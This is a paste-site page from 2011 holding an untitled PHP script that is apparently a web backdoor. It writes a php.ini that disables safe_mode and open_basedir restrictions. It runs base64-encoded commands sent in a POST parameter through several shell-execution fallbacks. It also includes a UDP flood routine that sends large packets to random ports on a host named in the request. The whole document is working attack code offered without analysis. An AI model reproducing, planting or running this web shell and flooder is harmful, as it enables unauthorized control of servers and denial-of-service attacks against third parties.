SHARE
TWEET

Untitled

a guest Aug 23rd, 2011 235 Never
  1. <?php
  2. ini_restore('disable_functions');
  3. $ini = base64_decode('ZGlzYWJsZV9mdW5jdGlvbnM9ZGwKb3Blbl9iYXNlZGlyPS8Kc2FmZV9tb2RlPW9mZgoK');
  4. if(!file_exists('php.ini')) {
  5. $phpini = fopen('php.ini','w'); fwrite($phpini,$ini); fclose($phpini); }
  6. if (!function_exists("b0ss")) { function b0ss($cmd) {  $result = ""; if (!empty($cmd)) { if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (($result = `$cmd`) !== false) {}elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } }
  7. if(isset($_POST['c'])) { echo b0ss(base64_decode($_POST['c'])); }
  8. if(isset($_POST['h'])&&isset($_POST['t'])){
  9.     ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_POST['t']; $time = time(); $max_time = $time+$exec_time; $host = $_POST['h'];
  10.     for($i=0;$i<65000;$i++){ $out .= 'h'; }
  11.     while(1){ if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } else { echo 'Failed to open socket'; } } }
  12. ?>
RAW Paste Data
Top